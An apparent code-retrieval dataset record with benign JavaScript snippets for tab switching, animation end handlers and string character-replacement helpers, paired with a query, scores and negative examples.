)\n\t{\n\t\t$( currentTab ).css( \"background\", \"url(Images/pattern.png)\" );\n\t\t$( \"#\"+$( currentTab ).attr( \"title\" ) ).css( \"display\", \"none\" );\n\t}\n\t\n\t// Get the new current tab\n\tcurrentTab = thisTab;\n\tcurrentTabsPos = $( currentTab ).position();\n\tlinkWidth = $( \"#runnerLinks\" ).width();\n\t\n\tshiftLinks();\n}", "function start(tab)\n{\n\t\n}", "function refreshCurrentTab() {\r\n chartAnimationReady = true;\r\n showTab(currentPage, true);\r\n}", "function animateLiveSection() {\n\tvar live_tbs_items = $(\".live_tabs .live_tab_button\");\n\n\tTweenMax.staggerFromTo( live_tbs_items, 1,\n\t{\n\t\tscale : [0.8,0.8],\n\t\topacity : 0\n\t},\n\t{\n\t\tscale : [1,1],\n\t\topacity : 1,\n\t\tdelay : 0.5,\n\t\tease : Elastic.easeOut\n\t}, 0.2 );\n}", "function gameEndAnimationRoutine() {\n\n // no more moves\n document.onkeydown = null;\n\n // draw the fading play area\n drawPlayArea();\n\n // draw next blocks, so they fade too\n drawNextBlocksArea();\n\n // increase opacity\n playerLevelEnvironment.gameEndFadeAnimationCounter--;\n\n // check if everything has faded out properly\n if (playerLevelEnvironment.gameEndFadeAnimationCounter === 20) {\n\n playerLevelEnvironment.gameEndFadeAnimationCounter = gameLevelEnvironment.gameEndFadeAnimationLength;\n\n statRelated.displayGameEndStats(playerLevelEnvironment.blockCounter);\n\n // stop the game loop\n gameLevelEnvironment.stopTheGameLoop = true;\n\n // say \"game over\" in the chat\n if (!replayingAGame) {\n chat.sayGameOver();\n } else {\n chat.sayReplayOver();\n }\n\n // if this is not a replay\n if (!replayingAGame) {\n // save game data to the server\n recordGame.saveGameToServer();\n }\n\n } else {\n //\n }\n\n }", "finish() {\n window.setTimeout(\n this.displayAbsorptionTexts.bind(this),\n absorptionDuration\n );\n const lastStep = this.measurementHistory.length - 1;\n window.setTimeout(\n this.displayMeasurementTexts.bind(this, lastStep),\n this.animationStepDuration\n );\n window.setTimeout(\n this.finishCallback.bind(this),\n this.absorptionDuration\n );\n window.setTimeout(\n () => {this.board.animationExists = false;},\n this.absorptionDuration\n );\n // Make text groups disappear\n window.setTimeout(\n this.removeTexts.bind(this),\n absorptionDuration + absorptionTextDuration\n );\n }", "function NextTab(JCurTab, JNewTab, BSObject, parameters) {\n\n //if there is no next, then we know we just clicked submit button, otherwise which tab is active\n if (JCurTab.classList.contains(\"nav-link\") && JNewTab != null) {\n JCurTab.classList.remove(\"active\");\n JNewTab.className += \" active\";\n\n // now change which tab content is visible\n var JCurTabContent = BSObject.querySelector('.tab-pane.active');\n\n var nextContent = getNextSibling(JCurTabContent);\n\n // nextTabContentNumber = parseInt(JCurTab.getAttribute('data-tab') + 1);\n // var nextContent = BSObject.querySelectorAll('[data-tabpane=\"' + nextTabContentNumber + '\"]')[0];\n\n\n JCurTabContent.classList.remove(\"active\");\n JCurTabContent.classList.remove(\"show\");\n nextContent.className += \" active\";\n nextContent.className += \" show\";\n\n console.log(\"call anim from next tab\");\n //animate the transition\n JAnimate(JCurTab, JNewTab, BSObject, parameters);\n\n //make sure button stays at last state if it can't go further\n // check tab status 1= first, 2 = middle, 3 = end, 13 = first and end\n isLast = 0;\n isLast = CheckTabLocation(JNewTab, BSObject, parameters);\n if (isLast == 3 || isLast == 13) {\n //We are on te last tab, if we care to identify it\n console.log(\"LAST TAB: \" + isLast);\n }\n\n } else {\n\n submitClicked(BSObject);\n\n }\n\n}", "function onEnd() {\n element.off(css3AnimationEvents, onAnimationProgress);\n $$jqLite.removeClass(element, activeClassName);\n $$jqLite.removeClass(element, pendingClassName);\n if (staggerTimeout) {\n $timeout.cancel(staggerTimeout);\n }\n animateClose(element, className);\n var node = extractElementNode(element);\n for (var i in appliedStyles) {\n node.style.removeProperty(appliedStyles[i]);\n }\n }", "function animatie(){\n var timeline = new TimelineMax ({repeat:-1});\n timeline.to(\"#klok\", 50, {ease: Elastic.easeOut.config(10), y:6});\n}", "handleAnimationEnd() {\n this.isAnimating = false;\n this.index = (this.index + 1) % this.greetings.length;\n\n setTimeout(() => this.updateGreeting(), 500);\n }", "function onEnd() {\n\t\t\t\t\t\t\telement.off(css3AnimationEvents, onAnimationProgress);\n\t\t\t\t\t\t\t$$jqLite.removeClass(element, activeClassName);\n\t\t\t\t\t\t\t$$jqLite.removeClass(element, pendingClassName);\n\t\t\t\t\t\t\tif (staggerTimeout) {\n\t\t\t\t\t\t\t\t$timeout.cancel(staggerTimeout);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tanimateClose(element, className);\n\t\t\t\t\t\t\tvar node = extractElementNode(element);\n\t\t\t\t\t\t\tfor (var i in appliedStyles) {\n\t\t\t\t\t\t\t\tnode.style.removeProperty(appliedStyles[i]);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}", "function onEnd() {\n element.off(css3AnimationEvents, onAnimationProgress);\n $$jqLite.removeClass(element, activeClassName);\n $$jqLite.removeClass(element, pendingClassName);\n if (staggerTimeout) {\n $timeout.cancel(staggerTimeout);\n }\n animateClose(element, className);\n var node = extractElementNode(element);\n for (var i in appliedStyles) {\n node.style.removeProperty(appliedStyles[i]);\n }\n }", "function onEnd() {\n element.off(css3AnimationEvents, onAnimationProgress);\n $$jqLite.removeClass(element, activeClassName);\n $$jqLite.removeClass(element, pendingClassName);\n if (staggerTimeout) {\n $timeout.cancel(staggerTimeout);\n }\n animateClose(element, className);\n var node = extractElementNode(element);\n for (var i in appliedStyles) {\n node.style.removeProperty(appliedStyles[i]);\n }\n }", "function onEnd() {\n element.off(css3AnimationEvents, onAnimationProgress);\n $$jqLite.removeClass(element, activeClassName);\n $$jqLite.removeClass(element, pendingClassName);\n if (staggerTimeout) {\n $timeout.cancel(staggerTimeout);\n }\n animateClose(element, className);\n var node = extractElementNode(element);\n for (var i in appliedStyles) {\n node.style.removeProperty(appliedStyles[i]);\n }\n }", "_hide() {\n $.setDataset(this._target, { uiAnimating: 'out' });\n\n $.fadeOut(this._target, {\n duration: this._options.duration,\n }).then((_) => {\n $.removeClass(this._target, 'active');\n $.removeClass(this._node, 'active');\n $.removeDataset(this._target, 'uiAnimating');\n $.setAttribute(this._node, { 'aria-selected': false });\n $.triggerEvent(this._node, 'hidden.ui.tab');\n }).catch((_) => {\n if ($.getDataset(this._target, 'uiAnimating') === 'out') {\n $.removeDataset(this._target, 'uiAnimating');\n }\n });\n }", "function videoEndHandler1(e) {\n //creative.dom.video1.vid.currentTime = 0;\n creative.dom.video1.vid.pause();\n //creative.dom.video1.vidPauseBtn.style.visibility = 'hidden';\n //creative.dom.video1.vidPlayBtn.style.visibility = 'visible';\n creative.isClick1 = true;\n\n /**\n * Hide video container ONlY and not the controls \n */\n\n //creative.dom.video1.vidContainer\n creative.dom.video1.vid.style.display = 'block'; \n creative.dom.expandedBgr.style.display = 'block';\n creative.dom.expandedHeading.style.visibility = 'visible';\n creative.dom.expandedHeading.style.display = 'block';\n\n //start end frame tween animation\n endFrameAnimation();\n}", "animationEnded(e) {\n // wipe the slot of our drawer\n this.title = \"\";\n while (dom(this).firstChild !== null) {\n dom(this).removeChild(dom(this).firstChild);\n }\n if (this.invokedBy) {\n async.microTask.run(() => {\n setTimeout(() => {\n this.invokedBy.focus();\n }, 500);\n });\n }\n }", "wait_GM_AnimationEnd(){\n if(this.check_Reset())\n return;\n if (this.view.currentMoviePiece.parabolic.end == true) {\n if(this.model.lastMoviePlay() == true)\n {\n this.scene.reset = false;\n this.scene.showGameMovie = false;\n this.model.currentMoviePlay = 0;\n this.state = 'GAME_OVER';\n }\n else\n {\n this.model.inc_currentMoviePlay();\n this.scene.update_CameraRotation();\n this.state = 'WAIT_GM_CAMERA_ANIMATION_END';\n }\n }\n }", "onLeaveAnimation() {\n this.timelineLeave = new TimelineLite()\n this.timelineLeave.staggerTo(\n this.header.$textContainer.current.childNodes,\n 0.3,\n {\n y: '100%',\n opacity: 0,\n }\n )\n }", "updateActiveTab() {\n const tabScreens = this._tabScreensContainerEl.childNodes\n const tab = tabScreens.item(this._activeTab)\n tab.classList.remove('hide')\n for (let i = 0; i < tabScreens.length; i++) {\n if (i !== this._activeTab) {\n tabScreens.item(i).classList.add('hide')\n }\n }\n }", "hide() {\n if (\n $.getDataset(this._target, 'uiAnimating') ||\n !$.hasClass(this._target, 'active') ||\n !$.triggerOne(this._node, 'hide.ui.tab')\n ) {\n return;\n }\n\n this._hide();\n }", "function endCardAnimation() {\n\t$(\".computer-card\").removeClass(\"animated-card\");\n\tanimating = false;\n\tif (!training && disabled) {\n\t\tenableButtons();\n\t}\n}", "endAll() {\n this.animations.forEach((anim) => anim.onEnd());\n this.animations = [];\n }", "function slideEnd() {\n // Show elements\n $( sliderHeading ).removeClass('hidden').addClass('slider-animation ' + sliderAnimationHeading );\n setTimeout( function() {\n $( sliderParagraph ).removeClass('hidden').addClass('slider-animation ' + sliderAnimationParagraph);\n }, 800);\n\n setTimeout(function() {\n $( sliderButtons ).removeClass('hidden').addClass('slider-animation ' + sliderAnimationButtons);\n }, 1200);\n} // end slideEnd", "function triigletabcontent() {\n $(\".tab-c\").each(function () {\n $(this).removeClass(\"active\");\n });\n}", "function triigletabcontent() {\n $(\".tab-c\").each(function () {\n $(this).removeClass(\"active\");\n });\n}", "function tab(cur) {\n $li.find('img').fadeOut('slow');\n // $dot_li.removeClass('cur');\n $li.eq(cur).find('img').fadeIn('slow');\n // $dot_li.eq(cur).addClass('cur');\n // $li.find('img').removeClass('cur');\n // $li.eq(cur).find('img').addClass('cur');\n }", "function closeTabs() {\n tabs.closeMany(selectEvenOddTabs(), SINGLE_CLOSING_DELAY);\n scheduler.addFunc(function () {\n if (window.confirm('Start again?')) {\n main();\n }\n }, 0);\n }", "function triigletabcontent() {\n $(\".tab-c\").each(function() {\n $(this).removeClass(\"active\");\n });\n}", "_onEndAnim() {\n if (this._overlay) {\n this._peer.getChart().getPlotArea().removeChild(this._overlay);\n this._overlay = null;\n }\n }", "function kuroAnimationListener() {\n switch (event.type) {\n case \"animationend\":\n hashtag.style.display = \"none\";\n allCharacters.style.display = \"none\";\n zeros.style.display = \"block\";\n break;\n }\n}", "function anim() {\n\t\t\t if (count > 0) {\n\t\t\t \t$(\"h2\").text(\"\");\n\t\t\t $(\"<h2></h2>\").text(count).appendTo($(\"body\"));\n\t\t\t count--;\n\t\t\t setTimeout(anim, 700);\n\t\t\t }\n\t\t\t else {\n\t\t\t \t$(\"h2\").text(\"\");\n\t\t\t $(\"<h2></h2>\").text(\"START\").appendTo($(\"body\"));\n\t\t\t $(\"h2\").css(\"background-color\",\"green\");\n\t\t\t return false;\t\t \n\t\t\t }\n\t\t\t}", "function endDemo() {\n \tcopperScreen.fill(\"#ffffff\");\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// Whiteout!\n \tif (DEBUG) document.getElementById('scheduleInfo').innerHTML = \"<br/><br/>END OF DEMO. \";\t\t\t// Guess what?\n }", "function finishAnimations() {\n var stepsRemaining = Maze.executionInfo.stepsRemaining();\n\n // allow time for additional pause if we're completely done\n var waitTime = (stepsRemaining ? 0 : 1000);\n\n // run after all animations\n timeoutList.setTimeout(function () {\n if (stepsRemaining) {\n stepButton.removeAttribute('disabled');\n } else {\n Maze.animating_ = false;\n if (studioApp().isUsingBlockly()) {\n // reenable toolbox\n Blockly.mainBlockSpaceEditor.setEnableToolbox(true);\n }\n // If stepping and we failed, we want to retain highlighting until\n // clicking reset. Otherwise we can clear highlighting/disabled\n // blocks now\n if (!singleStep || Maze.result === ResultType.SUCCESS) {\n reenableCachedBlockStates();\n studioApp().clearHighlighting();\n }\n displayFeedback();\n }\n }, waitTime);\n }", "function switchTab(tab) {\r\n const finishTabs = document.querySelectorAll(\".finishDiv p\");\r\n const allTasks = document.querySelector(\".allTasksUl\");\r\n\r\n //provjerava koji gumb je stisnut (dali je stisnut vec aktivan) i postavlja odgovoran tab u .active\r\n if (tab.classList.contains(\"active\")) {\r\n return;\r\n } else {\r\n finishTabs.forEach((element) => {\r\n element.classList.toggle(\"active\");\r\n });\r\n }\r\n\r\n setVisibilityOfTask(); //skriva odgovarajuce taskove\r\n animateTabSwitch(tab.id); //animira switchanje taba\r\n}", "function lastView(){\n let display = document.getElementsByClassName(\"tab-pane\");\n display[currentTab].style.display = \"none\";\n showTab(lastTab);\n currentTab = lastTab;\n lastTab = lastTab - 1;\n}", "function VerticalTimeline( element ) {\n\t\tthis.element = element;\n\t\tthis.blocks = this.element.getElementsByClassName(\"cd-timeline__block\");\n\t\tthis.images = this.element.getElementsByClassName(\"cd-timeline__img\");\n\t\tthis.contents = this.element.getElementsByClassName(\"cd-timeline__content\");\n\t\tthis.offset = 0.8;\n\t\tthis.hideBlocks();\t\t\n\t}", "function contentAnimation() {\n\n var tl = gsap.timeline();\n tl.from('.is-animated', { duration: 1, translateY: 60, opacity: 0, stagger: 0.4 });\n tl.from('.fadein', { duration: 0.5, opacity: 0.9 });\n}", "function doTabChange(selectedID, refresh, animation){\t\t\r\n\r\n //loading overlay paalle\t\t\t\r\n $(\".top\").show();\r\n $(\"#loadingOverlay\").transition({opacity: '1'}, 100, 'easeOutQuad', function() {\r\n\r\n \r\n //ei animaatiota, jos tullaan kokonaan uudelta sivulta/tabilta\r\n var pageType = selectedID.substr(0, 1); //otetaan nykyisen tabin alkuosa talteen\r\n if (currentPageType !== pageType || !animation) {\r\n ChartAnimation(0);\r\n\r\n //haihdutetaan tausta\r\n if (tabDrawPart === DRAW_Normal) {\r\n tabDrawPart = DRAW_TabChange;\r\n $(\"#mainContent\").css({\r\n opacity: '0.5'\r\n })\r\n }\r\n //ChartAnimation(VAKIO_ChartAnimationTime/1.35);\r\n } else {\r\n //tabDrawPart = DRAW_FirstTime;\r\n ChartAnimation(VAKIO_ChartAnimationTime);\r\n }\r\n\r\n \r\n if (pageType === TYPE_Chart) {\r\n setChartTab(selectedID, refresh);\r\n } else if (pageType === TYPE_General) {\r\n setGeneralTab(selectedID, refresh);\r\n } else if (pageType === TYPE_Donate) {\r\n setDonateTab(selectedID, refresh);\r\n }\r\n\r\n currentPageType = pageType; //sivu valituksi\r\n currentPage = selectedID; \r\n\r\n //jos diagrammianimaatioita ei pyoriteta, merkataan animaatiot jo valmiiksi\r\n if (tabDrawPart === DRAW_Normal) {\r\n chartAnimationReady = false;\r\n \r\n } else {\r\n if (tabDrawPart === DRAW_TabChange) {\r\n google.visualization.events.removeListener(animationFinishListener);\r\n $(\"#loadingOverlay\").transition({ opacity: '0', delay: '400' }, 500, function() {\r\n $(\".top\").hide();\r\n isLoading = false;\r\n });\r\n $(\"#mainContent\").transition({ opacity: '1' }, 400, 'easeOutQuad')\r\n } else {\r\n google.visualization.events.removeListener(animationFinishListener);\r\n $(\"#loadingOverlay\").transition({ opacity: '0', delay: '500' }, 500, function() {\r\n $(\".top\").hide();\r\n isLoading = false;\r\n });\r\n }\r\n tabDrawPart = DRAW_Normal;\r\n }\r\n\r\n //animaatio takaisin\r\n //$(\"#T_Chart\").transition({opacity:'1'},400);\r\n });\r\n}", "function BackTab(JCurTab, JNewTab, BSObject, parameters) {\n\n\n //if there is no next, then we know we just clicked submit button, otherwise which tab is active\n\n if (JCurTab.classList.contains(\"nav-link\") && JNewTab != null) {\n JCurTab.classList.remove(\"active\");\n JNewTab.className += \" active\";\n\n // now change which tab content is visible\n var JCurTabContent = BSObject.querySelector('.tab-pane.active');\n\n var nextContent = getPreviousSibling(JCurTabContent);\n JCurTabContent.classList.remove(\"active\");\n JCurTabContent.classList.remove(\"show\");\n nextContent.className += \" active\";\n nextContent.className += \" show\";\n\n console.log(\"call anim from back tab\");\n //animate the transition\n JAnimate(JCurTab, JNewTab, BSObject, parameters);\n\n\n // check tab status 1= first, 2 = middle, 3 = end, 13 = first and end\n var isPrev = 0;\n isPrev = CheckTabLocation(JNewTab, BSObject, parameters);\n if (isPrev == 1 || isPrev == 13) {\n //We are on te first tab, if we care to identify it\n //console.log(\"FIRST TAB: \"+isPrev);\n }\n\n } else {\n // console.log(\"CLICKED FIRST\");\n CheckTabLocation(JNewTab, BSObject, parameters);\n }\n\n}", "function endGame() {\n datTime = 30;\n gameTimer.setText(datTime.toString());\n blackScreen.setHidden(false);\n blackScreen.animate().alpha(0.75).duration(500);\n wholeSpidey.animate().alpha(0).duration(500);\n deadpool.animate().alpha(0).duration(500).onEnd = function() {\n deadpool.setHidden(true);\n }\n endScore.setHidden(false);\n endScore.setClickable(true);\n endScore.setAlpha(1);\n endScore.setText('Nice!<br />Your Score is: ' + scoreNumber + '<br />Tap to Play Again');\n}", "function animationComplete() {\n\t\t\t\t\t\tself._setHashTag();\n\t\t\t\t\t\tself.active = false;\n\t\t\t\t\t\tself._resetAutoPlay(true, self.settings.autoPlayDelay);\n\t\t\t\t\t}", "function TabAjaxLoaderEnd(selector) {\n if (!isNullOrEmpty(selector) && isElement($(selector)) && $(selector).hasClass(\"ajax-preloader\")) {\n $(selector).removeClass(\"ajax-preloader\");\n\n if ($('.ajax-preloader').length == 0) {\n $('#loading').hide();\n }\n }\n else {\n $('.ajax-preloader').each(function () {\n $(this).removeClass(\"ajax-preloader\");\n });\n\n $('#loading').hide();\n }\n}", "_onAnimationEnd() {\n // Clean up the old container. This is done after the animation to avoid garbage\n // collection during the animation and because the black box updates need it.\n if (this._oldContainer) {\n this._oldContainer.removeFromParent();\n this._oldContainer.destroy();\n this._oldContainer = null;\n }\n\n if (this._delContainer) {\n this._delContainer.removeFromParent();\n this._delContainer.destroy();\n this._delContainer = null;\n }\n\n // Fire ready event saying animation is finished.\n if (!this.AnimationStopped) this.RenderComplete();\n\n // Restore event listeners\n this.EventManager.addListeners(this);\n\n // Reset animation flags\n this.Animation = null;\n this.AnimationStopped = false;\n }", "function semTab() {\r\n\tchecatab = false;\r\n}", "onInitialDrawComplete() {\n var date = new Date();\n var year = date.getFullYear();\n var month = date.getMonth();\n var nextMonth = month == 11 ? 0 : month + 1;\n var nextYear = month == 11 ? year + 1 : year;\n var day = 1;\n\n this.timeline.setWindow(\n new Date(year, month, day),\n new Date(nextYear, nextMonth, day),\n { animation: false }\n );\n }", "end() {\n this.endZoomInMode();\n this.endHandMode();\n }", "function contactTabs(evt, onglet) {\n var i, tabcontent, tablinks;\n tabcontent = document.getElementsByClassName(\"tabcontent\");\n for (i = 0; i < tabcontent.length; i++) {\n tabcontent[i].style.display = \"none\";\n }\n tablinks = document.getElementsByClassName(\"tablinks\");\n for (i = 0; i < tablinks.length; i++) {\n tablinks[i].className = tablinks[i].className.replace(\" active\", \"\");\n }\n document.getElementById(onglet).style.display = \"flex\";\n evt.currentTarget.className += \" active\";\n}", "function nextTab() {\n\n // Deselect current tab and correspondent tabpanel.\n deselectTab(currentEnabledTabs[currentTabIndex]);\n deselectTabpanel(document.getElementById(currentEnabledTabs[currentTabIndex].getAttribute('aria-controls')));\n\n // Select next tab and correspondent tabpanel.\n selectTab(currentEnabledTabs[currentTabIndex + 1]);\n selectTabpanel(document.getElementById(currentEnabledTabs[currentTabIndex + 1].getAttribute('aria-controls')));\n\n }// End: nextTab().", "function stopAnimation() {\n reset();\n sprite.gotoAndStop(sprite.currentFrame);\n }", "function animacaoJogo(){\n __life.step();\n __life.desenhaGrid(window.ctx);\n window.idTimeoutJogo = setTimeout(animacaoJogo, 10);\n }", "function fin_del_juego(){\r\n $(\".caja_dulce\").detach();\r\n $(\".panel-tablero\").animate({height:'0px',width:'0px',opacity:'0.0'},'slow');\r\n $(\".time\").animate({opacity: '0'},'slow');\r\n $(\".panel-score\").animate({width:'100%'},'slow');\r\n $(\".moves\").animate({width:'100%'},'slow');\r\n $(\".panel-score\").prepend('<div class=\"fin\"><h1 class=\"findeljuego\">Juego Terminado</h1></div>');\r\n $(\".fin\").animate({width:'100%'},'slow');\r\n }", "function endMove(event) {\n current.win.style.opacity = 1;\n }", "function showEnd(){\n console.log(\"End\")\n}", "function Animation (){\n var animation = anime.timeline();\n \n animation.add({\n targets:'.animation',\n height:['100%',0],\n easing:'easeInOutCirc',\n delay:1200\n });\n \n \n }", "function Animation (){\n var animation = anime.timeline();\n \n animation.add({\n targets:'.animat',\n height:['100%',0],\n easing:'easeInOutCirc',\n delay:1200\n });\n \n \n }", "function endCountdown() {\n // logic to finish the countdown here\n $('.begin').hide();\n beginGame()\n }", "tick() {\n this.navigation_pane.tick(this.tabs);\n for (var tab of this.tabs) {\n tab.tick();\n };\n }", "function onClick(e) {\r\n // Pause the animation\r\n story.pauseAnimation();\r\n // If it is already selected resume the animation\r\n // otherwise pause and move to the selected month\r\n if (e.yValue === story.getFrameValue()) {\r\n story.startAnimation();\r\n } else {\r\n story.goToFrame(e.yValue);\r\n story.pauseAnimation();\r\n }\r\n }", "function registerCloseEvent() {\n\n $(\".closeTab\").click(function () {\n\n //there are multiple elements which has .closeTab icon so close the tab whose close icon is clicked\n var tabContentId = $(this).parent().attr(\"href\");\n $(this).parent().parent().remove(); //remove li of tab\n $(tabContentId).remove(); //remove respective tab content\n $('#TabAdm a:last').tab('show'); // Select first tab\n $currentTab = $('#TabAdm a:last');\n });\n}", "function endGame() {\n $('.home').css({ 'margin-top': '0px' });\n disappear('.instructions');\n hide('.view-button');\n disappear('.follow-circle');\n disappear('.instructions');\n state = \"view\";\n }", "function endAllTransition(){\n\n // console.log('endAllTransition');\n\n // 是否恢复原状,子页面切换使用\n if(restore){\n currentEle.css({\n \"display\": \"none\",\n \"-webkit-transform\": generateTransform(0, 0, 0), \n \"-webkit-transition-duration\": \"0ms\"\n });\n nextEle.css({\n \"display\": \"block\",\n \"-webkit-transform\": generateTransform(0, 0, 0), \n \"-webkit-transition-duration\": \"0ms\",\n });\n }\n else{\n currentEle.css({\n \"display\": \"none\",\n });\n nextEle.css({\n \"display\": \"block\",\n });\n }\n }", "end() {\n //for (let [, arr] of this.arrangements.filter(a => a.at === this.iterations && a.when === \"end\")) arr.exe();\n this.iterations++;\n this.engine.events.emit(`${this.name}-End`, this);\n if (this.engine.jumpingTo) return;\n this.engine.phases.current = this.engine.phases.get(this.next);\n this.engine.timer.reset();\n }", "function iabLoadStop(event) {\n\n}", "function endGame() {\r\n divTables.style.display = \"none\";\r\n dashStatus.innerHTML = \"Game Over\";\r\n restartBtn.style.display = \"block\";\r\n logo.style.maxHeight = \"125px\";\r\n}", "function videoEndHandler1(e) {\r\n //creative.dom.video1.vid.currentTime = 0;\r\n console.log('expanded intro video ended')\r\n creative.dom.video1.vid.pause();\r\n creative.dom.video1.vidPauseBtn.style.visibility = 'hidden';\r\n creative.dom.video1.vidPlayBtn.style.visibility = 'visible';\r\n creative.isClick1 = true;\r\n ShowExpandedEndFrame ();\r\n}", "function focusLastTab(tabs) {\n tabs[tabs.length - 1].focus();\n }", "function runAnim() {\r\r\n\t\t\t\r\r\n\t\t\tif ( $(e).find('.content-holder').find(\"div[data-tabid='\"+ $tabid +\"']\").length > 0 ) {\r\r\n\t\t\t\t\r\r\n\t\t\t\t// Get Animation Effect\r\r\n\t\t\t\t$anim = $(e).find('.content-holder').find(\"div[data-tabid='\"+ $tabid +\"']\").attr('data-animIn');\r\r\n\t\t\t\t\r\r\n\t\t\t\t// Show Defaut Content\r\r\n\t\t\t\t$(e).find('.content-holder').find(\"div[data-tabid='\"+ $tabid +\"']\").addClass('tab-showcontent');\r\r\n\t\t\t\t\r\r\n\t\t\t\t// Play Animation Effect\r\r\n\t\t\t\t$(e).find('.content-holder').find(\"div[data-tabid='\"+ $tabid +\"']\").addClass($anim);\r\r\n\t\t\t\t\r\r\n\t\t\t}\r\r\n\t\t\telse { // Load AJAX Content\r\r\n\t\t\t\tAjaxLoad($tabid);\r\r\n\t\t\t}\r\r\n\t\t\t\t\r\r\n\t\t\tvar resetAnim = window.setTimeout(\r\r\n\t\t\tfunction(){\r\r\n\t\t\t\t$(e).find('.content-holder').find(\"div[data-tabid='\"+ $tabid +\"']\").removeClass($anim);\r\r\n\t\t\t\t$pause = false;\r\r\n\t\t\t},1200);\r\r\n\t\t\t\r\r\n\t\t}", "function nextTab(currentTab) {\n \"use strict\";\n //SE LE' LA PRIMA TAB, NASCONDILA E MOSTRA LA SECONDA\n if (currentTab === 0) {\n tab_0.className = \"container hidden\";\n tab_1.className = \"container\";\n }\n //SE E' LA SECONDA TAB, NASCONDILA E MOSTRA LA TERZA\n if (currentTab === 1) {\n tab_1.className = \"container hidden\";\n tab_2.className = \"container\";\n }\n}" ]
[ "0.64256126", "0.6400441", "0.639011", "0.6259168", "0.6195459", "0.6148714", "0.61461973", "0.61428714", "0.6123078", "0.6123078", "0.6117383", "0.60579866", "0.60498875", "0.60466653", "0.60208887", "0.5996946", "0.5996879", "0.59741086", "0.59031904", "0.58970606", "0.58944404", "0.5868652", "0.5860079", "0.5851882", "0.5843007", "0.5843007", "0.582986", "0.5809408", "0.58037883", "0.58016783", "0.58014584", "0.5790203", "0.5768586", "0.5762026", "0.5751395", "0.5739546", "0.57310444", "0.5693187", "0.5692608", "0.5690249", "0.56790674", "0.5677375", "0.56654805", "0.5664251", "0.5664251", "0.5664251", "0.5658842", "0.5658451", "0.5653147", "0.56491196", "0.5645937", "0.5641551", "0.5641427", "0.56326425", "0.5621149", "0.5606429", "0.56000483", "0.56000483", "0.5598801", "0.55973506", "0.55907035", "0.55839366", "0.5583341", "0.5570534", "0.55643845", "0.55620176", "0.55605125", "0.55578494", "0.555692", "0.5550529", "0.5547156", "0.5543444", "0.5537656", "0.55323493", "0.55223984", "0.5521873", "0.5521228", "0.55208534", "0.5519363", "0.55144763", "0.551241", "0.5509491", "0.5509383", "0.5508064", "0.5507955", "0.55076903", "0.5506952", "0.5502097", "0.5490859", "0.54856175", "0.54840714", "0.548194", "0.54752177", "0.54751855", "0.546542", "0.54608154", "0.5456464", "0.5455992", "0.54559916", "0.54553926", "0.5455125" ]
0.0
-1
helper method similar to str[index] = newChar
function setCharAt(str, index, chr) { if (index > str.length - 1) return str; return str.substr(0, index) + chr + str.substr(index + 1); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function setCharAt(str, index, chr) {\n if (index > str.length - 1) return str;\n return str.substr(0, index) + chr + str.substr(index + 1);\n }", "function setCharAt(str, index, chr) {\n if (index > str.length - 1) return str;\n return str.substr(0, index) + chr + str.substr(index + 1);\n}", "function setCharAt(str,index,chr) {\n if(index > str.length-1 || index < 0) return str;\n return str.substr(0,index) + chr + str.substr(index+1);\n}", "function setCharAt(str,index,chr) {\n\t\t\tif (typeof str !== 'undefined') {\n\t\t\t\tif(index > str.length-1) return str;\n\t\t\t\treturn str.substr(0,index) + chr + str.substr(index+1);\n\t\t\t}\n\t\t}", "function replaceChar(str,index,chr) {\n if(index > str.length-1) return str;\n return str.substr(0,index) + chr + str.substr(index+1);\n}", "function replaceAt(idx, char, string) {\n return string.substring(0, idx) + char + string.substring(idx + 1);\n}", "function replaceCharAtIndex(string, position, replacement) {\n return string.slice(0, position) + replacement + string.slice(position + 1)\n}", "function characterAPick(string, index){\n return string[index]\n}", "function replaceAt(str, index, replacement) {\n return str.substr(0, index) + replacement+ str.substr(index + replacement.length);\n}", "function replaceLetter(str, letter, index) {\n return [str.slice(0, index), letter, str.slice(index + 1)].join('');\n}", "charAt(index) {return this.code[index];}", "function _str_replace_at(i, new_val, str) {\n return str.substr(0, i) + new_val + str.substr(i + 1);\n }", "get(index) { return this.input.charAt(index) }", "function changeCompletely(element, index, array){\n array[index] = `How about ${index} in a string?`;\n}", "function charAt (str='', position) {\n // var strArray = str.split('')\n return str[position]\n}", "function replaceAt(string, index, replacement){\n if (!index) index = 0;\n return string.substr(0, index) + replacement + string.substr(index + replacement.length);\n }", "function charCode(str, index) {\n return index < str.length ? str.charCodeAt(index) : 0;\n}", "function indexToChar(i) {\n return String.fromCharCode(i+97).toUpperCase(); //97 in ASCII is 'a', so i=0 returns 'a', i=1 returns 'b', etc\n}", "function indexToChar (i) {\n // 97 = a\n return String.fromCharCode(97 + i); \n }", "function caml_string_set (s, i, c) {\n if (i >>> 0 >= s.l) caml_string_bound_error();\n return caml_string_unsafe_set (s, i, c);\n}", "function caml_string_unsafe_set (s, i, c) {\n // The OCaml compiler uses Char.unsafe_chr on integers larger than 255!\n c &= 0xff;\n if (s.t != 4 /* ARRAY */) {\n if (i == s.c.length) {\n s.c += String.fromCharCode (c);\n if (i + 1 == s.l) s.t = 0; /*BYTES | UNKOWN*/\n return 0;\n }\n caml_convert_string_to_array (s);\n }\n s.c[i] = c;\n return 0;\n}", "function getLetter(index) {\n return String.fromCharCode(64 + index);\n}", "function removeChar(str, idx) {\n const strArr = str.split('');\n const removedChar = strArr.splice(idx, 1);\n return strArr.join('');\n}", "function at_index(index, new_val=\"\")\n {\n if(new_val == \"\") {\n if(index < 0) {\n index *= -1;\n //If the current index is empty or undefined it is being initialized with blank '□'\n if($left[index] === null || $left[index] === undefined || $left[index] === \"\"){\n $left[index] = '□';\n }\n return $left[index];\n }\n else {\n //If the current index is empty or undefined it is being initialized with blank '□'\n if($start_right[index] === null || $start_right[index] === undefined || $start_right[index] === \"\"){\n $start_right[index] = '□';\n }\n return $start_right[index];\n }\n }\n else {\n if(index < 0) {\n index *= -1;\n if(index == $left.length - 1)\n {\n $left[index+1] = '□';\n }\n //Changing the value assotiated with that index.\n $left[index] = new_val;\n }\n else {\n if(index == $start_right.length - 1)\n {\n $start_right[index+1] = '□';\n }\n //Changing the value assotiated with that index.\n $start_right[index] = new_val;\n }\n }\n } //End of at_index function", "function replaceStrAt(orgStr, index, replaceWith, replaceLen){\n replaceLen = replaceLen || replaceWith.length;\n\n return orgStr.substring(0, index) + replaceWith + 